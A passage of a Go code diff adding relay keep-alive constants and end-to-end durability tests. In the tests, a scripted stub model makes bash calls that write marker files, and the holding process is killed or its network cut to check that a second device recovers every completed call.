+const ( + CloseRevoked = 4401 + CloseRotated = 4410 + // CloseSilent ends a socket whose last sign of life was too old; the + // device is announced offline and must redial (STAGE-1-CONTRACTS.md 21.12.4). + CloseSilent = 4408 +) + +// The pace of the feed. Each number is here once. +const ( + // KeepEvery is how often a quiet socket pings: every 10 s, the beat + // STAGE-1-CONTRACTS.md 21.12 gives. The relay derives the window in which + // it counts this device online from the beat the dial declares, and the + // directory package derives that declaration from this constant, so the + // two halves cannot drift. The relay answers a ping without waking + // anything, so it costs nothing, and it keeps a middlebox that drops idle + // connections from dropping this one. + KeepEvery = 10 * time.Second + // DeadAfter is how long a socket may stay silent before it is dead: 2.5 + // beats, 25 s. That tolerates one lost pong and a late second one, the + // same factor the relay uses for its presence window. + DeadAfter = KeepEvery * 5 / 2 + // PongWithin is how long a ping may go unanswered: what is left of DeadAfter + // once the quiet wait before the ping has passed. + PongWithin = DeadAfter - KeepEvery + // RetryBase and RetryCap bound the full-jitter wait between reconnects: the + // ceiling doubles from the base up to the cap, and the wait is anywhere + // below the ceiling, so many devices that lost the relay together do not + // return together. + RetryBase = time.Second + RetryCap = time.Minute + // ProbeEvery is how long a relay without the route is left alone before it + // is asked once more, because it may have been upgraded. + ProbeEvery = time.Hour +) diff --git a/internal/e2e/durability_brain_test.go b/internal/e2e/durability_brain_test.go new file mode 100644 index 0000000000..074eb5975a --- /dev/null +++ b/internal/e2e/durability_brain_test.go @@ -0,0 +1,258 @@ +//go:build e2e + +package e2e + +// THE SCRIPTED MODEL THE DURABILITY RUNS DRIVE THE REAL BINARY WITH. +// +// A kill is only repeatable when the moment of the kill is known, so the model +// is a script that also keeps the clock: it knows when each tool call finished +// (the next request arrives carrying that call's result, and the seat seals a +// call before it hands the result back) and when each call was started (the +// instant it sent the call). The runs read those two clocks and nothing else to +// decide when to kill. + +import ( + "encoding/json" + "fmt" + "net/http" + "net/http/httptest" + "strings" + "sync" + "testing" + "time" +) + +const durabilityModel = "stub/scripted" + +// brainStep is one turn of the script: wait, then call bash with cmd. An empty +// cmd is the end of the script: the model waits `wait` and then answers in words. +type brainStep struct { + wait time.Duration + cmd string +} + +// forever is a wait no run outlives: the model that has nothing more to say yet. +const forever = time.Hour + +// brain is the scripted endpoint and its two clocks, both indexed by the count +// of tool results the request carried. +type brain struct { + server *httptest.Server + script []brainStep + + mu sync.Mutex + finished map[int]time.Time // results carried -> when the request that carried them arrived + started map[int]time.Time // results carried -> when the answer to that request began + done chan struct{} +} + +func newBrain(t *testing.T, script ...brainStep) *brain { + t.Helper() + b := &brain{script: script, finished: map[int]time.Time{}, started: map[int]time.Time{}, done: make(chan struct{})} + mux := http.NewServeMux() + mux.HandleFunc("/api/v1/models", b.models) + mux.HandleFunc("/api/v1/chat/completions", b.complete) + b.server = httptest.NewServer(mux) + t.Cleanup(func() { close(b.done); b.server.CloseClientConnections(); b.server.Close() }) + return b +} + +func (b *brain) url() string { return b.server.URL + "/api/v1" } + +func (b *brain) models(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Content-Type", "application/json") + _, _ = fmt.Fprintf(w, `{"data":[{"id":%q,"canonical_slug":%q,"name":"Scripted stub","context_length":200000, + "architecture":{"input_modalities":["text"],"output_modalities":["text"]}, + "pricing":{"prompt":"0","completion":"0","request":"0","input_cache_read":"0"}, + "supported_parameters":["tools","tool_choice","max_tokens"]}]}`, durabilityModel, durabilityModel) +} + +// request is the part of a completion request the script reads. +type request struct { + Messages []struct { + Role string `json:"role"` + Content any `json:"content"` + } `json:"messages"` + Tools []json.RawMessage `json:"tools"` +} + +func (r request) results() int { + n := 0 + for _, m := range r.Messages { + if strings.EqualFold(m.Role, "tool") { + n++ + } + } + return n +} + +// probeWords is the one message the script answers: the conversation's own turn. +// Every other request that carries tools (the errands the chat runs for itself, +// a task's worker) is answered in words, so only one agent follows the script. +const probeWords = "run the probe" + +// mine says whether the request is the conversation's own turn: the first +// message the person sent is the probe. +func (r request) mine() bool { + for _, m := range r.Messages { + if m.Role == "user" { + text, _ := m.Content.(string) + return strings.Contains(text, probeWords) + } + } + return false +} + +// complete answers an errand with no tools (a title, say) at once and in words, +// and the conversation's own turn from the script. +func (b *brain) complete(w http.ResponseWriter, r *http.Request) { + var req request + _ = json.NewDecoder(r.Body).Decode(&req) + if len(req.Tools) == 0 || !req.mine() { + writeWords(w, "ok") + return + } + n := req.results() + b.note(b.finished, n) + step, ok := b.stepAt(n) + if !ok { + writeWords(w, "done") + return + } + select { + case <-time.After(step.wait): + case <-r.Context().Done(): + return + case <-b.done: + return + } + b.note(b.started, n) + if step.cmd == "" { + writeWords(w, "done") + return + } + writeBash(w, n, step.cmd) +} + +func (b *brain) stepAt(n int) (brainStep, bool) { + if n >= len(b.script) { + return brainStep{}, false + } + return b.script[n], true +} + +// note keeps the first time a count was seen: a retry of the same request is not +// a second completion. +func (b *brain) note(into map[int]time.Time, n int) { + b.mu.Lock() + defer b.mu.Unlock() + if _, ok := into[n]; !ok { + into[n] = time.Now() + } +} + +// finishedAt waits for the call that made the carried count n, and answers when +// it finished. ok is false when it never did within d. +func (b *brain) finishedAt(n int, d time.Duration) (time.Time, bool) { + return b.await(b.finished, n, d) +} + +// startedAt waits for the call number n+1 to begin, and answers when it did. +func (b *brain) startedAt(n int, d time.Duration) (time.Time, bool) { return b.await(b.started, n, d) } + +func (b *brain) await(from map[int]time.Time, n int, d time.Duration) (time.Time, bool) { + for deadline := time.Now().Add(d); time.Now().Before(deadline); time.Sleep(10 * time.Millisecond) { + b.mu.Lock() + at, ok := from[n] + b.mu.Unlock() + if ok { + return at, true + } + } + return time.Time{}, false +} + +// finishTimes is every count that has been seen, with when, oldest first by count. +func (b *brain) finishTimes() map[int]time.Time { + b.mu.Lock() + defer b.mu.Unlock() + out := make(map[int]time.Time, len(b.finished)) + for n, at := range b.finished { + out[n] = at + } + return out +} + +// completed is how many calls have returned to the model: the most results any +// request has carried. +func (b *brain) completed() int { + b.mu.Lock() + defer b.mu.Unlock() + most := 0 + for n := range b.finished { + most = max(most, n) + } + return most +} + +// mark is the command of call number i: it leaves a file and prints a word, so +// the tree and the transcript each carry one fact per call. +func mark(i int) string { + return fmt.Sprintf("echo MARK-%d > m%d.txt && echo MARK-%d", i, i, i) +} + +// marks is count quick calls, wait apart, then the end of the script. +func marks(count int, wait time.Duration) []brainStep { + var steps []brainStep + for i := 1; i <= count; i++ { + steps = append(steps, brainStep{wait: wait, cmd: mark(i)}) + } + return append(steps, brainStep{wait: forever}) +} + +func openStream(w http.ResponseWriter) (func(string), bool) { + flusher, ok := w.(http.Flusher) + if !ok { + http.Error(w, "the script needs a flushable writer", http.StatusInternalServerError) + return nil, false + } + w.Header().Set("Content-Type", "text/event-stream") + w.WriteHeader(http.StatusOK) + return func(payload string) { _, _ = fmt.Fprintf(w, "data: %s\n\n", payload); flusher.Flush() }, true +} + +func chunk(delta, reason string) string { + if reason == "" { + reason = "null" + } else { + reason = fmt.Sprintf("%q", reason) + } + return fmt.Sprintf(`{"id":"script","object":"chat.completion.chunk","created":%d,"model":%q,"provider":"stub",`+ + `"choices":[{"index":0,"delta":%s,"finish_reason":%s}],`+ + `"usage":{"prompt_tokens":1,"completion_tokens":1,"total_tokens":2,"cost":0}}`, + time.Now().Unix(), durabilityModel, delta, reason) +} + +func writeWords(w http.ResponseWriter, words string) { + send, ok := openStream(w) + if !ok { + return + } + send(chunk(`{"role":"assistant","content":""}`, "")) + send(chunk(fmt.Sprintf(`{"content":%q}`, words), "")) + send(chunk(`{}`, "stop")) + send("[DONE]") +} + +func writeBash(w http.ResponseWriter, n int, command string) { + send, ok := openStream(w) + if !ok { + return + } + args, _ := json.Marshal(map[string]string{"command": command}) + quoted, _ := json.Marshal(string(args)) + send(chunk(`{"role":"assistant","content":""}`, "")) + send(chunk(fmt.Sprintf(`{"tool_calls":[{"index":0,"id":"call_%d","type":"function","function":{"name":"bash","arguments":%s}}]}`, n, quoted), "")) + send(chunk(`{}`, "tool_calls")) + send("[DONE]") +} diff --git a/internal/e2e/durability_hosted_e2e_test.go b/internal/e2e/durability_hosted_e2e_test.go new file mode 100644 index 0000000000..13e403e40b --- /dev/null +++ b/internal/e2e/durability_hosted_e2e_test.go @@ -0,0 +1,948 @@ +//go:build e2e + +package e2e + +// NOTHING COMPLETED IS EVER LOST, AGAINST THE HOSTED RELAY. +// +// The real binary is the holding machine (home A, in a real terminal) and runs +// a scripted model, so every tool call is the same call every time and the +// moment it finished is known to the millisecond. The relay is the one +// CODEAF_RELAY names. A machine that dies mid-work is simulated by what really +// kills one: SIGKILL, a dead network, a frozen process. Then the other machine +// (home B, in this process, over the same real take path the chat uses) takes +// the chat over, and the run counts: calls completed on A against calls present +// on B. Every test ends in one DURABILITY line that says PASS or FAIL and the +// two numbers. +// +// One identity per run, made fresh and shared between the homes, so a run never +// meets another run's chats on the relay. The relay is CODEAF_RELAY (relayenv_test.go); +// with it unset the suite skips and says why. +// +// go test -tags e2e -count=1 -run TestDurability -v -timeout 40m ./internal/e2e/ + +import ( + "context" + "crypto/sha256" + "encoding/hex" + "fmt" + "os" + "os/exec" + "path/filepath" + "regexp" + "strconv" + "strings" + "sync" + "syscall" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/furrow" + "github.com/Agent-Field/codeaf/internal/session" + "github.com/Agent-Field/codeaf/internal/syncsetup" +) + +// durable is one run's world: two homes of one identity, the scripted model, +// the proxy that can cut the holder's network, and the chat on A. +type durable struct { + t *testing.T + relay string + homeA string + homeB string + ws string + brain *brain + proxy *cutProxy + a *rig + // launcher is words that wrap the chat's launch, or none. + launcher []string + roots string // where B keeps the chats it takes +} + +func newDurable(t *testing.T, script ...brainStep) *durable { + t.Helper() + + if _, err := exec.LookPath("tmux"); err != nil { + t.Skip("no tmux on PATH: this suite drives the real binary in a real terminal") + } + relay := relayUnderTest(t) + overrides := map[string]any{ + "model.talk": durabilityModel, "model.work": durabilityModel, "model.plan": durabilityModel, + "models.tiers.worker": durabilityModel, "models.tiers.high": durabilityModel, + "tools.approvalMode": "allow", "daily_budget_usd": 0, "model_pool": "off", + } + d := &durable{t: t, relay: relay, roots: t.TempDir(), brain: newBrain(t, script...), proxy: newCutProxy(t)} + d.homeA, d.homeB = newHome(t, overrides), newHome(t, overrides) + d.ws = newWorkspace(t, "durable", false) + shareIdentity(t, d.homeA, d.homeB) + return d +} + +// env is what the holder is started with: the scripted model, the relay, and +// the cuttable proxy as the only road to the relay. +func (d *durable) env() []string { + return []string{ + "OPENROUTER_API_KEY=stub-key", "CODEAF_BASE_URL=" + d.brain.url(), + "CODEAF_SYNC_URL=" + d.relay, + "HTTPS_PROXY=" + d.proxy.url(), "https_proxy=" + d.proxy.url(), + "CODEAF_TASK_BELT=node", + } +} + +// startA opens the chat on A and sends the one message that makes the script run. +func (d *durable) startA(name string, more ...string) { + d.t.Helper() + args := append([]string{"chat", "--model", durabilityModel, "--one-model", "--no-host"}, more...) + d.a = startWithEnv(d.t, append(d.env(), d.launcher...), name, d.homeA, d.ws, 140, 40, args...) + d.a.skipSetup(d.t) +} + +func (d *durable) say(text string) { + d.a.lit(text) + d.a.keys("Enter") +} + +// pidA is the chat process, verified to be the binary under test before anyone +// signals it: the pane's own pid, or the one process under it that runs the +// binary when the chat was started under [freezable]. Never a pattern match. +func (d *durable) pidA() int { + d.t.Helper() + raw, err := exec.Command("tmux", "display-message", "-p", "-t", d.a.name, "#{pane_pid}").Output() + pane, _ := strconv.Atoi(strings.TrimSpace(string(raw))) + candidates := append([]int{pane}, childPids(pane)...) + want := binary(d.t) + if real, err := filepath.EvalSymlinks(want); err == nil { + want = real + } + for _, pid := range candidates { + if pid > 0 && exeOf(pid) == want { + return pid + } + } + d.t.Fatalf("no process under pane %d runs the binary under test (%v)", pane, err) + return 0 +} + +// childPids is the processes directly under pid: /proc on Linux, and +// `pgrep -P` where there is no /proc (macOS). +func childPids(pid int) []int { + var raw []byte + if _, err := os.Stat("/proc"); err == nil { + raw, _ = os.ReadFile(fmt.Sprintf("/proc/%d/task/%d/children", pid, pid)) + } else { + raw, _ = exec.Command("pgrep", "-P", strconv.Itoa(pid)).Output() + } + var kids []int + for _, k := range strings.Fields(string(raw)) { + if n, err := strconv.Atoi(k); err == nil { + kids = append(kids, n) + } + } + return kids +} + +// exeOf is the executable pid runs, symlinks resolved: /proc//exe on +// Linux, and `ps -o comm=` (the full exec path on macOS) without /proc. +func exeOf(pid int) string { + var exe string + if _, err := os.Stat("/proc"); err == nil { + exe, _ = os.Readlink(fmt.Sprintf("/proc/%d/exe", pid)) + } else { + raw, _ := exec.Command("ps", "-o", "comm=", "-p", strconv.Itoa(pid)).Output() + exe = strings.TrimSpace(string(raw)) + } + if real, err := filepath.EvalSymlinks(exe); err == nil { + exe = real + } + return exe +} + +// freezable is the words that run the chat as a child of a launcher that stays +// in the pane, in the pane's own group. tmux resumes any pane process that stops +// (it sends the process SIGCONT), which would undo a SIGSTOP and make a lid that +// never closes; it is told only of its own child, so a stopped grandchild stays +// stopped. The chat keeps the terminal on its input. The words go last in the +// environment list, so the launcher runs them and passes the rest of its own +// command line to them. +var freezable = []string{"bash", "-c", `env "$@" <&0 & wait $!`, "_"} + +func (d *durable) signalA(sig syscall.Signal) { + d.t.Helper() + if err := syscall.Kill(d.pidA(), sig); err != nil { + d.t.Fatalf("signal %v: %v", sig, err) + } +} + +// at sleeps until t0+after, and answers the moment it woke. +func at(t0 time.Time, after time.Duration) { + time.Sleep(time.Until(t0.Add(after))) +} + +// chatRoot is A's folder of the chat: the one that holds a transcript. +func (d *durable) chatRoot() string { + d.t.Helper() + for path := range sessionTranscripts(d.t, d.homeA) { + return filepath.Dir(filepath.Dir(path)) // the transcript lives in the chat's .cell folder + } + d.t.Fatalf("no chat folder under %s", d.homeA) + return "" +} + +func (d *durable) chatID() string { return filepath.Base(d.chatRoot()) } + +// chatIDSoon is chatID for a chat that may not have its folder yet. +func (d *durable) chatIDSoon() string { + d.t.Helper() + for deadline := time.Now().Add(30 * time.Second); time.Now().Before(deadline); time.Sleep(50 * time.Millisecond) { + for path := range sessionTranscripts(d.t, d.homeA) { + return filepath.Base(filepath.Dir(filepath.Dir(path))) + } + } + d.t.Fatalf("the chat never got a folder under %s", d.homeA) + return "" +} + +// headWatch reads the relay's head for the chat from the other machine's seat, +// as often as it can, and keeps when each new head was first seen. It is how a +// run knows how long a call took to become durable, with no help from A. +type headWatch struct { + mu sync.Mutex + seen []headSeen + stop chan struct{} +} + +type headSeen struct { + at time.Time + head string +} + +func (b *machineB) watchHead(id string) *headWatch { + w := &headWatch{stop: make(chan struct{})} + b.d.t.Cleanup(w.Stop) + go func() { + for { + select { + case <-w.stop: + return + case <-time.After(100 * time.Millisecond): + } + if v, err := b.sync.Dir.Cell(context.Background(), id); err == nil { + w.note(v.Cell.Head) + } + } + }() + return w +} + +func (w *headWatch) note(head string) { + w.mu.Lock() + defer w.mu.Unlock() + if n := len(w.seen); head != "" && (n == 0 || w.seen[n-1].head != head) { + w.seen = append(w.seen, headSeen{time.Now(), head}) + } +} + +func (w *headWatch) Stop() { + w.mu.Lock() + defer w.mu.Unlock() + select { + case <-w.stop: + default: + close(w.stop) + } +} + +// durableAfter is how long after t0 the relay's head first moved, or 0 when it had not. +func (w *headWatch) durableAfter(t0 time.Time) time.Duration { + w.mu.Lock() + defer w.mu.Unlock() + for _, h := range w.seen { + if h.at.After(t0) { + return h.at.Sub(t0).Round(10 * time.Millisecond) + } + } + return 0 +} + +// ── B: the other machine ───────────────────────────────────────────────────── + +// machineB is home B's sync and the engine it takes through, in this process. +type machineB struct { + sync *syncsetup.Sync + eng cellstore.Engine + d *durable +} + +func (d *durable) machineB() *machineB { + d.t.Helper() + d.t.Setenv("CODEAF_HOME", d.homeB) + d.t.Setenv("CODEAF_SYNC_URL", d.relay) + d.t.Setenv("HTTPS_PROXY", "") + d.t.Setenv("https_proxy", "") + s, ok, err := syncsetup.Open(d.homeB) + if err != nil || !ok { + d.t.Fatalf("home B cannot open the relay: ok=%v err=%v", ok, err) + } + bin, err := furrow.ResolveOwned() + if err != nil { + d.t.Fatal(err) + } + eng := cellstore.EngineFor("") + eng.DataRoot, eng.Binary, eng.Transport = d.t.TempDir(), bin, cellstore.Spawn{Binary: bin} + return &machineB{sync: s, eng: eng, d: d} +} + +// take continues chat id on B, in a folder of B's own. +func (b *machineB) take(id string) (cell.Cell, error) { + ctx, cancel := context.WithTimeout(context.Background(), 2*time.Minute) + defer cancel() + c := b.sync.Continuer(b.eng, syncsetup.TakeOptions{DeviceName: "machine-b", + RootFor: func(id string) string { return filepath.Join(b.d.roots, id) }, + Notify: func(s string) { b.d.t.Logf("B: %s", s) }}) + got, err := c.Take(ctx, id) + return got.Taken.Cell, err +} + +// ── counting ───────────────────────────────────────────────────────────────── + +var markWord = regexp.MustCompile(`MARK-(\d+)`) + +// callsIn is the calls a chat folder holds as COMPLETED: the marks the +// transcript carries in a tool result, and the marks the tree carries as files. +// A call counts as present only when both agree, so a result without its file +// (or a file without its result) is reported as the difference it is. +func callsIn(root string) (results, files map[int]bool) { + results, files = map[int]bool{}, map[int]bool{} + raw, _ := os.ReadFile(filepath.Join(root, ".cell", "transcript.jsonl")) + for _, line := range strings.Split(string(raw), "\n") { + if !strings.Contains(line, `"role":"tool"`) && !strings.Contains(line, `"role": "tool"`) { + continue + } + for _, m := range markWord.FindAllStringSubmatch(line, -1) { + n, _ := strconv.Atoi(m[1]) + results[n] = true + } + } + tree := workspaceFolder(root) + found, _ := filepath.Glob(filepath.Join(tree, "m*.txt")) + for _, f := range found { + if n, err := strconv.Atoi(strings.TrimSuffix(strings.TrimPrefix(filepath.Base(f), "m"), ".txt")); err == nil { + files[n] = true + } + } + return results, files +} + +// workspaceFolder is the tree a taken chat landed in. +func workspaceFolder(root string) string { + if w := filepath.Join(root, "work"); dirExists(w) { + return w + } + return root +} + +func dirExists(p string) bool { st, err := os.Stat(p); return err == nil && st.IsDir() } + +func sorted(m map[int]bool) string { + var ns []int + for n := range m { + ns = append(ns, n) + } + for i := range ns { + for j := i + 1; j < len(ns); j++ { + if ns[j] < ns[i] { + ns[i], ns[j] = ns[j], ns[i] + } + } + } + return fmt.Sprint(ns) +} + +// verdict states the run's one line, and fails the test when a call the holder +// completed is missing on B. A call is present when BOTH its effect (the file it +// wrote, in the tree) and its record (the tool result, in the transcript) are +// there; the two are counted apart because they are sealed apart. +// +// A row that lost work is not a failure when the kill came sooner than the relay +// could have acknowledged any upload: unreachable says whether it did. Such a row +// is stated as UNREACHABLE with the floor it was measured against. +func (d *durable) verdict(mode string, completed int, got cell.Cell, unreachable func() (bool, time.Duration), note string) { + d.t.Helper() + results, files := callsIn(got.Root) + var lostEffects, lostRecords []int + for i := 1; i <= completed; i++ { + if !files[i] { + lostEffects = append(lostEffects, i) + } + if !results[i] { + lostRecords = append(lostRecords, i) + } + } + // FAIL means a completed call's WORK is missing on B. FAIL-RECORD means every + // call's work arrived and only the tool-result lines of the transcript did + // not: the transcript is sealed one call behind the work (see BENCH-MOVE). + status := "PASS" + switch { + case len(lostEffects) > 0: + status = "FAIL" + case len(lostRecords) > 0: + status = "FAIL-RECORD" + } + if cannot, floor := unreachable(); status != "PASS" && cannot { + status, note = "UNREACHABLE", fmt.Sprintf("%s relayAckFloor=%v", note, floor) + } + if status != "PASS" && status != "UNREACHABLE" { + d.t.Fail() + } + d.t.Logf("DURABILITY %s mode=%s completedOnA=%d effectsOnB=%s recordsOnB=%s lostEffects=%v lostRecords=%v %s", + status, mode, completed, sorted(files), sorted(results), lostEffects, lostRecords, note) +} + +// waitDirectory waits until the relay holds a head for the chat, and answers the cell. +func (d *durable) waitDirectory(b *machineB, id string, within time.Duration) (directory.Cell, bool) { + for deadline := time.Now().Add(within); time.Now().Before(deadline); time.Sleep(250 * time.Millisecond) { + v, err := b.sync.Dir.Cell(context.Background(), id) + if err == nil && v.Cell.Head != "" { + return v.Cell, true + } + } + return directory.Cell{}, false +} + +// ── the moments a run kills at ─────────────────────────────────────────────── + +// anchor is a clock of the script: when call n finished, or when call n+1 began. +type anchor func(b *brain, within time.Duration) (time.Time, bool) + +func finished(n int) anchor { + return func(b *brain, w time.Duration) (time.Time, bool) { return b.finishedAt(n, w) } +} +func began(n int) anchor { + return func(b *brain, w time.Duration) (time.Time, bool) { return b.startedAt(n, w) } +} + +// holdRun is one holder run up to the moment of a failure: the chat is open, the +// message is sent, the head is being watched from B, and the anchor has come. +type holdRun struct { + d *durable + b *machineB + id string + watch *headWatch + t0 time.Time + after time.Duration // how long after the anchor the ending was applied + killedAt time.Time // when the ending was applied +} + +func (d *durable) begin(name string, from anchor) *holdRun { + d.t.Helper() + b := d.machineB() + d.startA(name) + d.say(probeWords) + id := d.chatIDSoon() + s := &holdRun{d: d, b: b, id: id, watch: b.watchHead(id)} + t0, ok := from(d.brain, 120*time.Second) + if !ok { + d.t.Fatalf("the script never reached its anchor:\n%s", d.a.capture()) + } + s.t0 = t0 + return s +} + +// ending is what a run does to the holder at t0+after, before B takes over. +type ending func(s *holdRun) + +func sigkill(s *holdRun) { s.d.signalA(syscall.SIGKILL) } + +// strike waits until after the anchor and applies the ending. +func (s *holdRun) strike(after time.Duration, end ending) { + at(s.t0, after) + s.after, s.killedAt = after, time.Now() + end(s) +} + +// finish takes the chat on B from A's dead machine and states the verdict. The +// project folder is moved out of B's sight first, as it is when B is another +// computer, so the take must bring the files from the relay. +func (s *holdRun) finish(mode, note string) { + s.d.t.Helper() + completed := s.d.brain.completed() + s.d.awayFromA() + got, err := s.b.take(s.id) + if err != nil { + s.noTake(mode, completed, err) + return + } + s.d.logSyncStats() + s.d.verdict(mode, completed, got, s.beforeAck, fmt.Sprintf("%s durableAfterAnchor=%v timeline=%s", note, s.watch.durableAfter(s.t0), s.timeline())) +} + +// noTake states a run whose chat B could not take at all: the relay never heard +// of it. It is a failure unless the kill came before the relay could have stored anything. +func (s *holdRun) noTake(mode string, completed int, err error) { + s.d.t.Helper() + if cannot, floor := s.beforeAck(); cannot { + s.d.t.Logf("DURABILITY UNREACHABLE mode=%s completedOnA=%d: B could not take the chat (%v) relayAckFloor=%v killedAfterAnchor=%v", mode, completed, err, floor, s.after) + return + } + s.d.t.Fatalf("DURABILITY FAIL mode=%s completedOnA=%d: B could not take the chat: %v", mode, completed, err) +} + +// beforeAck says whether the ending came sooner after the anchor than the relay +// takes to acknowledge an upload, which is the one physical limit on durability: +// a chat that is killed before the relay has stored what it sent has nothing +// there to take over. The floor is the fastest of a few probe puts. +func (s *holdRun) beforeAck() (bool, time.Duration) { + floor := s.b.ackFloor() + return s.after < floor, floor +} + +// ackFloor is the fastest of three single-object frame puts to the relay, so it +// holds no queueing and no transfer time: only the relay's own time to store a frame. +func (b *machineB) ackFloor() time.Duration { + floor := time.Hour + for i := 0; i < 3; i++ { + frame, err := blobstore.Encode(strings.Repeat("0", 32), []blobstore.Object{probeObject(i)}) + if err != nil { + b.d.t.Fatal(err) + } + t0 := time.Now() + if _, err := b.sync.Store.PutFrame(context.Background(), frame); err != nil { + b.d.t.Fatalf("the relay refused a probe frame: %v", err) + } + floor = min(floor, time.Since(t0)) + } + return floor.Round(10 * time.Millisecond) +} + +// probeObject is a sealed-looking object no other run holds: its id is the hash +// of a time-and-counter label, so each probe is a new frame and a put, not a repeat. +func probeObject(i int) blobstore.Object { + label := fmt.Sprintf("ack-floor-%d-%d", time.Now().UnixNano(), i) + return blobstore.Object{RID: hex.EncodeToString(sha256Sum(label)), Bytes: append([]byte("AGEO\x01"), label...)} +} + +func sha256Sum(s string) []byte { h := sha256.Sum256([]byte(s)); return h[:] } + +// timeline is every call's finish and every head the relay showed, in seconds +// from the moment the first call finished, so a lost call can be read against +// the upload window it fell in. +func (s *holdRun) timeline() string { + finishes := s.d.brain.finishTimes() + zero := finishes[1] + rel := func(t time.Time) string { return fmt.Sprintf("%.1f", t.Sub(zero).Seconds()) } + var out []string + for n := 1; n <= s.d.brain.completed(); n++ { + out = append(out, fmt.Sprintf("call%d@%s", n, rel(finishes[n]))) + } + s.watch.mu.Lock() + defer s.watch.mu.Unlock() + for _, h := range s.watch.seen { + out = append(out, "head@"+rel(h.at)) + } + out = append(out, "killed@"+rel(s.killedAt)) + return strings.Join(out, ",") +} + +// logSyncStats prints what A's own flush log says it sent, which is the holder's +// side of the story the relay's head only tells from outside. +func (d *durable) logSyncStats() { + found, _ := filepath.Glob(filepath.Join(d.homeA, "v3", "sync", "stats", "*.jsonl")) + for _, f := range found { + raw, _ := os.ReadFile(f) + d.t.Logf("A's flush log %s:\n%s", filepath.Base(f), raw) + } +} + +// awayFromA moves A's project folder aside until the test ends. +func (d *durable) awayFromA() { + d.t.Helper() + away := d.ws + ".away" + if err := os.Rename(d.ws, away); err != nil { + d.t.Fatal(err) + } + d.t.Cleanup(func() { _ = os.Rename(away, d.ws) }) +} + +// ── failure mode 1: SIGKILL a beat after a call completes ─────────────────── + +var killDelays = []time.Duration{500 * time.Millisecond, 2 * time.Second, 5 * time.Second} + +// burstDelays add a delay past the whole window (five seconds) and the upload that ends it. +var burstDelays = append(append([]time.Duration{}, killDelays...), 9*time.Second) + +// A lone call: nothing else was sealed in the window, so it goes up at once. +func TestDurabilityKillAfterLoneCall(t *testing.T) { + for _, after := range killDelays { + t.Run(after.String(), func(t *testing.T) { + d := newDurable(t, marks(1, 0)...) + s := d.begin("lone", finished(1)) + s.strike(after, sigkill) + s.finish("kill-"+after.String()+"-after-a-lone-call", "") + }) + } +} + +// A burst: three calls 200 ms apart, so the second and third sit in the window +// that the first one's upload opened. Three is the most a chat runs before it +// hands a long turn to a task (a task's calls seal in the task's own copy, which +// is a different seam), so a longer burst would stop measuring the chat. +func TestDurabilityKillAfterBurst(t *testing.T) { + for _, after := range burstDelays { + t.Run(after.String(), func(t *testing.T) { + d := newDurable(t, marks(3, 200*time.Millisecond)...) + s := d.begin("burst", finished(3)) + s.strike(after, sigkill) + s.finish("kill-"+after.String()+"-after-the-third-of-a-burst", "") + }) + } +} + +// The turn's own end: the last call's result and the model's closing words are +// written after the last seal, so they are the first thing a kill takes. +func TestDurabilityKillAfterTurnEnds(t *testing.T) { + for _, after := range killDelays { + t.Run(after.String(), func(t *testing.T) { + d := newDurable(t, brainStep{cmd: mark(1)}, brainStep{}) + s := d.begin("turnend", began(1)) + s.strike(after, sigkill) + s.finish("kill-"+after.String()+"-after-the-turn-ended", "") + }) + } +} + +// A lone call in a chat the relay already knows: the first call has long been +// durable and its window closed, so this is the incremental case, the one the +// "durable in a fraction of a second" claim is about. The first call of a chat +// is heavier (it creates the chat's record and sends the whole tree), so it is +// timed apart, in TestDurabilityKillAfterLoneCall. +func TestDurabilityKillAfterLaterLoneCall(t *testing.T) { + for _, after := range killDelays { + t.Run(after.String(), func(t *testing.T) { + script := []brainStep{{cmd: mark(1)}, {wait: 9 * time.Second, cmd: mark(2)}, {wait: forever}} + d := newDurable(t, script...) + s := d.begin("later", finished(2)) + s.strike(after, sigkill) + s.finish("kill-"+after.String()+"-after-a-later-lone-call", "") + }) + } +} + +// ── failure mode 2: SIGKILL during a tool call ────────────────────────────── + +// The third call is a long one and is killed three seconds into it. It is +// in flight, so it may be lost; the two completed before it may not be. The +// tight run starts it a moment after the second finished; the settled run +// waits for the upload window to have closed first. +func TestDurabilityKillDuringCall(t *testing.T) { + slow := "sleep 30; echo MARK-3 > m3.txt && echo MARK-3" + for name, gap := range map[string]time.Duration{"tight": 200 * time.Millisecond, "settled": 9 * time.Second} { + t.Run(name, func(t *testing.T) { + script := []brainStep{{cmd: mark(1)}, {wait: time.Second, cmd: mark(2)}, {wait: gap, cmd: slow}, {wait: forever}} + d := newDurable(t, script...) + s := d.begin("during", began(2)) + s.strike(3*time.Second, sigkill) + s.finish("kill-during-the-third-call-"+name, "inFlight=3") + }) + } +} + +// ── failure mode 3: the network is cut right after a call, then the holder dies ─ + +// localHead is the head A has sealed on its own disk, read from the chat folder. +func (d *durable) localHead() string { + d.t.Helper() + root := d.chatRoot() + c, err := cell.OpenAt(root, filepath.Base(root)) + if err != nil { + d.t.Fatal(err) + } + h, err := cellstore.Head(c) + if err != nil || h == nil { + d.t.Fatalf("no sealed head at %s: %v", root, err) + } + return h.Turn.ID +} + +// restartA opens the same chat again on A's own home and folder, with a model +// that has nothing to say, and the network as it is now. +func (d *durable) restartA(name string) { + d.t.Helper() + d.brain = newBrain(d.t) + var transcript string + for path := range sessionTranscripts(d.t, d.homeA) { + transcript = path + } + d.startA(name, "--session", transcript) +} + +// waitHead waits until the relay's head for the chat is head, and says how long it took. +func (d *durable) waitHead(b *machineB, id, head string, within time.Duration) (time.Duration, bool) { + begun := time.Now() + for time.Since(begun) < within { + if v, err := b.sync.Dir.Cell(context.Background(), id); err == nil && v.Cell.Head == head { + return time.Since(begun).Round(100 * time.Millisecond), true + } + time.Sleep(200 * time.Millisecond) + } + return 0, false +} + +// The network is cut the moment the third call finishes, the holder is killed a +// second later with its sealed work still on its own disk, and the network comes +// back. The same chat is opened again on the same machine, and what was pending +// must reach the relay without anyone asking; only then does B take over. +func TestDurabilityNetworkCutThenKill(t *testing.T) { + d := newDurable(t, marks(3, 200*time.Millisecond)...) + s := d.begin("cut", finished(3)) + completed := d.brain.completed() + d.proxy.Cut() + s.strike(time.Second, sigkill) + sealed := d.localHead() + if v, err := s.b.sync.Dir.Cell(context.Background(), s.id); err == nil && v.Cell.Head == sealed { + t.Fatalf("the premise 